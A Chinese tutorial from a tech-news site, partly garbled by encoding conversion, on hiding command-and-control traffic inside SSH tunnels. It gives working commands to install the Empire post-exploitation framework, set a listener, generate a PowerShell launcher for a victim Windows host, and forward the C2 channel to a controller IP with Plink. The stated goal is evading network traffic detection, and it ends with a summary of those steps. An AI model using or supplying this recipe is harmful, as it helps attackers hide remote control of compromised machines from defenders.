溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何利用SSH隧道加密技術(shù)隱蔽C&C通信流量

發(fā)布時(shí)間:2021-11-05 17:13:03 來(lái)源:億速云 閱讀:174 作者:柒染 欄目:建站服務(wù)器

如何利用SSH隧道加密技術(shù)隱蔽C&C通信流量,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來(lái)學(xué)習(xí)下,希望你能有所收獲。

在網(wǎng)絡(luò)攻防博弈中,網(wǎng)絡(luò)流量特征分析類安全防御措施得到了廣泛應(yīng)用。眾多廠商和企業(yè)對(duì)網(wǎng)絡(luò)流量進(jìn)行惡意流量分析檢測(cè),從而針對(duì)性的采取防御措施,如各級(jí)ISP在骨干網(wǎng)絡(luò)設(shè)備上大多采用網(wǎng)絡(luò)流量分析檢測(cè)的防御方案。

一、背景簡(jiǎn)介

在網(wǎng)絡(luò)攻防博弈中,網(wǎng)絡(luò)流量特征分析類安全防御措施得到了廣泛應(yīng)用。眾多廠商和企業(yè)對(duì)網(wǎng)絡(luò)流量進(jìn)行惡意流量分析檢測(cè),從而針對(duì)性的采取防御措施,如各級(jí)ISP在骨干網(wǎng)絡(luò)設(shè)備上大多采用網(wǎng)絡(luò)流量分析檢測(cè)的防御方案。
本文想通過(guò)標(biāo)準(zhǔn)的SSH的端口轉(zhuǎn)發(fā)建立SSH形式的加密隧道,用于加密、隱蔽傳輸惡意流量,從而避免通過(guò)流量檢測(cè)發(fā)現(xiàn)惡意行為。復(fù)現(xiàn)實(shí)驗(yàn)部分以C&C通信流量為例進(jìn)入實(shí)驗(yàn)。通過(guò)SSH隧道進(jìn)行加密和隱藏的C&C流量在外部流量特征分析僅表現(xiàn)為標(biāo)準(zhǔn)SSH流量。
如何利用SSH隧道加密技術(shù)隱蔽C&C通信流量

二、實(shí)驗(yàn)原理

本次實(shí)驗(yàn)使用Empire工具快速搭建C&C信道,本文只簡(jiǎn)要介紹對(duì)于Empire工具。在Windows平臺(tái)下使用Plink.exe工具的SSH功能搭建SSH隧道。

2.1 SSH隧道介紹

SSH 會(huì)自動(dòng)加密和解密所有 SSH 客戶端與服務(wù)端之間的網(wǎng)絡(luò)數(shù)據(jù)。但是, SSH 還能夠?qū)⑵渌?TCP 端口的網(wǎng)絡(luò)數(shù) 據(jù)通過(guò) SSH 鏈接來(lái)轉(zhuǎn)發(fā),并且自動(dòng)提供了相應(yīng)的加密及解密服務(wù)。這一過(guò)程也被叫做“隧道”( tunneling),這是因 為 SSH 為其他 TCP 鏈接提供了一個(gè)安全的通道來(lái)進(jìn)行傳輸而得名。SSH隧道的實(shí)現(xiàn)主要使用SSH的參數(shù)配置進(jìn)行端 口轉(zhuǎn)發(fā),即將所需傳輸?shù)臄?shù)據(jù)內(nèi)容通過(guò)加密的SSH隧道進(jìn)行轉(zhuǎn)發(fā)。 SSH 端口轉(zhuǎn)發(fā)能夠提供兩大功能:1、加密 SSH Client 端至 SSH Server 端之間的通訊數(shù)據(jù)。2、突破防火墻的限制完成一些之前無(wú)法建立的 TCP 連接。
由于SSH的安全性,在數(shù)據(jù)跨越公網(wǎng)時(shí)其他人無(wú)法得知數(shù)據(jù)內(nèi)容。SSH端口轉(zhuǎn)發(fā)有本地轉(zhuǎn)發(fā)、遠(yuǎn)程轉(zhuǎn)發(fā)和動(dòng)態(tài)端 口轉(zhuǎn)發(fā)三種。本次實(shí)驗(yàn)主要以本地轉(zhuǎn)發(fā)為例。

本地轉(zhuǎn)發(fā)主要使用SSH的 -L參數(shù)解釋:

如何利用SSH隧道加密技術(shù)隱蔽C&C通信流量
(1) 第1部分,-L選項(xiàng)表示使用“本地轉(zhuǎn)發(fā)”建立ssh隧道?!氨镜剞D(zhuǎn)發(fā)”表示本地的某個(gè)端口上的通訊數(shù)據(jù)會(huì)被轉(zhuǎn)發(fā)到目標(biāo)主機(jī)的對(duì)應(yīng)端口。
(2) 第2部分表示:通訊數(shù)據(jù)會(huì)從本地的9906端口上被轉(zhuǎn)發(fā),最終被轉(zhuǎn)發(fā)到10.1.0.2的3306端口。
(3) 第3部分表示:我們創(chuàng)建的ssh隧道是連接到10.1.0.2上的root用戶。

2.2 Empire工具簡(jiǎn)介

Empire是一個(gè)針對(duì)windows平臺(tái)、提供從Stager生成到提取和滲透維持一系列功能齊全的滲透攻擊框架,其最 大的特點(diǎn)是以Power Shell 腳本 作為攻擊載荷,而且Empire實(shí)現(xiàn)了無(wú)需power Shell .exe就可運(yùn)行PowerShell代理功 能,即它是一個(gè)純粹的PowerShell后期漏洞利用代理工具??焖俨渴鸷笃诼┒蠢媚K,內(nèi)置模塊有鍵盤記錄、 Mimikatz、繞過(guò)UAC、內(nèi)網(wǎng)掃描等等,并且能夠適應(yīng)通信躲避網(wǎng)絡(luò)檢測(cè)和大部分安全防護(hù)工具的查殺,簡(jiǎn)單來(lái)說(shuō) Empire類似于滲透神器Metasploit,是一個(gè)基于PowerShell的遠(yuǎn)程控制木馬。

2.2 Empire工具安裝

在實(shí)驗(yàn)虛擬 linux系統(tǒng) 中安裝

git clone https://github.com/EmpireProject/Empire.git #進(jìn)入setup目錄進(jìn)行命令行安裝 cd Empire cd setup sudo ./install.sh

安裝成功后,確認(rèn)Empire目錄下所有文件(目錄)如下圖:
使用 ./empire啟動(dòng)Empire如下圖,則成功安裝。
如何利用SSH隧道加密技術(shù)隱蔽C&C通信流量

三、實(shí)驗(yàn)步驟

實(shí)驗(yàn)說(shuō)明:使用兩臺(tái)虛擬機(jī)ubuntu16 + windows 7,其中ubuntu16模擬控制端,windows 7模擬受控主機(jī)。

3.1 在ubuntu系統(tǒng)上搭建SSH服務(wù)端

(1) 安裝Open-SSH Server端

sudo apt-get install openssh-server

(2) 配置SSH Server端
編輯/etc/ssh/sshd_config文件中允許口令登錄PermitRootLogin配置如下圖:
如何利用SSH隧道加密技術(shù)隱蔽C&C通信流量
(3) 測(cè)試SSH登錄是否成功
查看本機(jī)IP( linux 命令 :ifconfig),如在windows下的XShell工具下輸入Server IP 輸入登錄名和密碼,成功登入系統(tǒng)則SSH Server端搭建成功。
注:需要重啟sshd服務(wù):/etc/init.d/ssh resar
(4) 配置RSA密鑰對(duì)認(rèn)證登錄
a) 生成rsa密鑰對(duì)

ssh-keygen -t rsa

b) 開啟sshd支持RSA認(rèn)證選項(xiàng),并添加認(rèn)證公鑰路徑地址
c) 編輯/etc/ssh/sshd_config文件中的PubkeyAuthentication選項(xiàng)配置為yes,即:
d) 復(fù)制公鑰到某用戶home目錄下的.ss件夾下,注必須使用以下命令在受控主機(jī)(本次實(shí)驗(yàn)使用win 7進(jìn)行模擬)進(jìn)行復(fù)制,否則文件權(quán)限設(shè)置易出錯(cuò)。

ssh-copy-id -i id_rsa.pub 主機(jī)登錄用戶名@192.168.81.137

e) 使用私鑰進(jìn)行登錄ssh登錄
ssh -i 私鑰路徑 主機(jī)登錄用戶名@192.168.81.137
注:使用putty、winscp等工具時(shí)需要先使用對(duì)應(yīng)平臺(tái)工具進(jìn)行rsa私鑰導(dǎo)入后轉(zhuǎn)化為相對(duì)應(yīng)文件格式,如本次實(shí)驗(yàn)使用putty工具導(dǎo)入生成私鑰文件sshrsa.ppk。

3.2 使用Empire工具生成PowerShell 腳本 備用

Empire工具類似Metasploit,詳細(xì)使用教程可參考一篇文章精通PowerShell Empire。
本次實(shí)驗(yàn)使用Empire生成簡(jiǎn)單的PowerShell腳本,建立最簡(jiǎn)單的C&C通信。下面簡(jiǎn)單概括主要步驟。
(1) 設(shè)置監(jiān)聽
listeners #進(jìn)入的界面下可輸入list查看以設(shè)置的監(jiān)聽 uselistener http #輸入 info查看必填參數(shù) set Name 4444 #本次實(shí)驗(yàn)通過(guò)SSH隧道通信,因此設(shè)置監(jiān)聽127.0.0.1:4444 set Port 4444 set Host 127.0.0.1 execute #創(chuàng)建命為4444的監(jiān)聽,監(jiān)聽127.0.0.1:4444上通信數(shù)據(jù)
示例如下:
如何利用SSH隧道加密技術(shù)隱蔽C&C通信流量
(2) 生成簡(jiǎn)單的PowerShell利用腳本(針對(duì)windows)
launcher powershell 4444 # 4444為設(shè)置的監(jiān)聽名字 #可進(jìn)入tagers生成其他木馬、遠(yuǎn)控程序,本次實(shí)驗(yàn)直接生成最簡(jiǎn)單PowerShell利用腳本
注:生成的Powershell代碼直接復(fù)制并保存,以備在受控windows主機(jī)(win7、win10)執(zhí)行。

3.3 搭建SSH隧道

(1) windows下使用Plink.exe(putty工具集中可以在windows系統(tǒng)下使用命令行進(jìn)行SSH連接)連接SSHServer
#需要首先進(jìn)入Plink.exe文件所在路徑 Plink.exe -ssh -l 登錄用戶名 -pw 登錄密碼 SSH主機(jī)IP
(2) Plink相關(guān)參數(shù)

-ssh 指定使用特定連接協(xié)議
-l 指定登錄用戶名
-i 指定RSA私鑰登錄
-L 本地轉(zhuǎn)發(fā)

(3) Plink端口轉(zhuǎn)發(fā)設(shè)計(jì)

plink.exe -ssh -i sshrsa.ppk am00n@192.168.81.137 -L 4444:192.168.81.137:4444

將本地端口(4444)轉(zhuǎn)發(fā)到遠(yuǎn)程目標(biāo)主機(jī)(192.168.81.137)的目標(biāo)端口(4444)。
注意:以上命令執(zhí)行成功后,需要保持命令行不要關(guān)閉。同時(shí)可以組合使用SSH的其他參數(shù)進(jìn)行后臺(tái)運(yùn)行、不交互等。
(4) 使用(2)中生成的PowerShell腳本,使受控主機(jī)上線
a) windows 7虛擬機(jī)另外開啟一個(gè)CMD窗口,復(fù)制PowerShell腳本執(zhí)行??梢钥吹绞芸刂鳈C(jī)以上線。
5) ubuntu端切換到agents界面,list命令查看如圖:
6) 通過(guò)interact命令則可以使用以建立的控制信道控制受控主機(jī),如通過(guò)簡(jiǎn)單的ls命令測(cè)試成功如下圖:
7) 至此以成功使用SSH隧道傳輸C&C通信流量,后續(xù)可在此基礎(chǔ)上設(shè)計(jì)實(shí)現(xiàn)其他C&C控制命令及其它惡意功能。

通過(guò)本次實(shí)驗(yàn)可以看出,攻擊者可以利用類似SSH的公共服務(wù)或可用技術(shù)輔助攻擊,且其實(shí)現(xiàn)也非常容易。

關(guān)鍵步驟總結(jié):

(1) 搭建SSH服務(wù),并配置為RSA私鑰登錄(也可以配置為免密登錄)。
(2) 使用工具(如Empire、Metasploit等)構(gòu)建C&C。
(3) 利用SSH的端口轉(zhuǎn)發(fā)搭建SSH隧道。
(4) 配置C&C和SSH參數(shù)使二者配合實(shí)現(xiàn)加密、隱藏惡意流量的目的。

看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝您對(duì)億速云的支持。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

ssh
AI